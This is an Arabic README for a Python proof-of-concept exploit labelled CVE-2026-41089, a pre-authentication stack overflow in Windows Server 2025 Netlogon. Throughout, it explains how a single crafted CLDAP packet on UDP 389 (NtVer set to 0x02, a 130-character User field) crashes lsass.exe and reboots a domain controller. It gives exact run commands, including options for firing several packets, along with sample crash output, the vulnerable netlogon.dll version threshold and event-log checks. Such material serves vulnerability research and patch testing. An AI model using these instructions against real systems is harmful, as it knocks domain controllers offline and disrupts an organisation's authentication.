
CVE-2026-41089 LongLogon: أداة إسقاط مسبِّبة لفيض المخزن المؤقت على المكدس في CLDAP (UDP/389) قبل المصادقة لـ Netlogon غير المُرقَّع في Windows Server 2025 (lsass 0xc0000409). إثبات مفهوم بلغة Python يعتمد على المكتبة القياسية فقط + تقرير مختبري.
تجاوز سعة المخزن المؤقت على المكدس قبل المصادقة في خدمة Netlogon في Windows Server 2025. حزمة CLDAP واحدة (UDP/389) من أي مضيف على الشبكة كافية: يموت lsass.exe مع STATUS_STACK_BUFFER_OVERRUN (0xc0000409) ويعيد وحدة التحكم بالمجال التشغيل.
يتم تسلسل الاستجابة لاستعلام Netlogon CLDAP ping في مخزن مؤقت على المكدس بحجم 528 بايت. يكتب الخادم أسماءه الخاصة (forest، domain، hostname) متبوعة بحقل User الذي يتحكم به المهاجم (بحد أقصى 130 حرفًا عريضًا). عندما يصل إجمالي الامتلاء إلى 536 بايت (المخزن المؤقت + ملف تعريف ارتباط المكدس)، يقوم L'\0' الزائد بالكتابة فوق ملف تعريف ارتباط /GS وينهار العملية.
يوجّه حقل NtVer مسار الكود: 0x02 يسلك BuildSamLogonResponse الضعيف، بينما 0x06 / 0x16 يسلكان BuildSamLogonResponseEx المحدود (الآمن). يرسل هذا الـ PoC القيمة NtVer = 0x02.
python3 longlogon_exploit.py <dc-ip> <dc-dns-domain> [--dry-run] [--shots N] [--confirm-wait S] [--force]
--dry-run فحص باستخدام User=1 (غير ضار)، عرض الامتلاء المتوقع، دون إطلاق --shots N عدد حزم التجاوز المراد إرسالها (افتراضي 1) --confirm-wait S الانتظار قبل إعادة الفحص بعد طلقة صامتة (افتراضي 75 ثانية) --force الإطلاق حتى لو كان الامتلاء المتوقع أقل من 536 بايت
مثال (استبدل عنوان IP والنطاق بقيم مختبرك):
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example --dry-run
python3 longlogon_exploit.py 192.168.1.10 cve202641089.xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx.example
المخرجات المتوقعة للإطلاق:
[*] CVE-2026-41089 LongLogon crasher -> 192.168.1.10 (domain 64 chars)
[*] DC alive. Probe fill (User=1) = 323 B; projected fill (User=130) = 581 B (buffer 528, cookie 536)
[*] Firing overflow: NtVer=0x02, User=130 chars, shots=1
shot #1: NO REPLY (5.01 s) -> possible crash (or lost packet)
[*] Waiting 75 s to let the DC (re)start, then re-probing...
[+] DC STILL DOWN after overflow + re-probe -> CRASH LIKELY (reboot in progress or dump pending)
رموز الخروج: 0 انهيار محتمل، 1 DC صامت في الفحص الأولي، 2 الامتلاء أقل من 536 بايت (على الحد الفاصل)، 3 DC نجا.
ملاحظة: يعيد السكربت الفحص بعد 75 ثانية لأن حزمة صامتة واحدة قد تكون أيضًا حزمة UDP مفقودة. لا تستنتج حدوث انهيار من الصمت وحده.
استخدم المدقّق الرسمي من مستودع البحث. يفحص باستخدام User=1، لذا يبقى DC قائمًا:
git clone https://github.com/ADScanPro/CVE-2026-41089-LongLogon && cd CVE-2026-41089-LongLogon
python3 run longlogon.py <dc-ip> <dc-dns-domain>
المتوقع: "PRECONDITION MET" مع امتلاء متوقع لا يقل عن 536 بايت.
لا يثبت المدقّق حالة الترقيع: وحدة DC مُرقّعة تسلك نفس مسار الكود وترفض ببساطة الكتابة الطويلة جدًا. تحقق من إصدار netlogon.dll على DC مباشرة (< 10.0.26100.32772 = ضعيف).
على DC، بمجرد أن يعود للعمل:
(Get-CimInstance Win32_OperatingSystem).LastBootUpTime
Get-WinEvent -FilterHashtable @{LogName='Application'; Id=1000} -MaxEvents 5
ابحث عن الحدث 1000: التطبيق المتسبب بالخطأ lsass.exe، الوحدة المتسببة بالخطأ netlogon.DLL، رمز الاستثناء 0xc0000409، ووقت تشغيل لاحق لوقت الطلقة.
تم الاختبار على Windows Server 2025، lsass.exe 10.0.26100.7309، netlogon.dll 10.0.26100.32230 (غير مُرقّع)، نطاق من 64 حرفًا + اسم مضيف من 63 حرفًا (الامتلاء المتوقع 581 بايت). تم إطلاق حزمة واحدة:
Application Error (Id 1000):
Faulting application: lsass.exe, version: 10.0.26100.7309
Faulting module: netlogon.DLL, version: 10.0.26100.32230
Exception code: 0xc0000409 (STATUS_STACK_BUFFER_OVERRUN)
Fault offset: 0x000000000002399d
LastBootUpTime: 17:19:42 (crash logged at 17:18:37)
يُقدَّم هذا الـ PoC لأغراض تعليمية وبحثية فقط. تم تطويره واختباره في بيئة مختبر معزولة على Windows Server 2025. استخدمه على مسؤوليتك الخاصة.
باستخدامك هذا السكربت فإنك توافق على أن المؤلف غير مسؤول عن أي فقدان للبيانات، أو انقطاع في الخدمة، أو تلف في الأجهزة، أو أي عواقب مباشرة أو غير مباشرة أخرى. الانهيار غير عكوس: ستُعاد وحدة التحكم بالمجال المستهدفة للتشغيل. خذ لقطة قبل الإطلاق.
لا يُقدَّم أي ضمان بأن هذا الـ PoC يعمل في بيئة إنتاجية أو على جميع بنيات Windows Server 2025.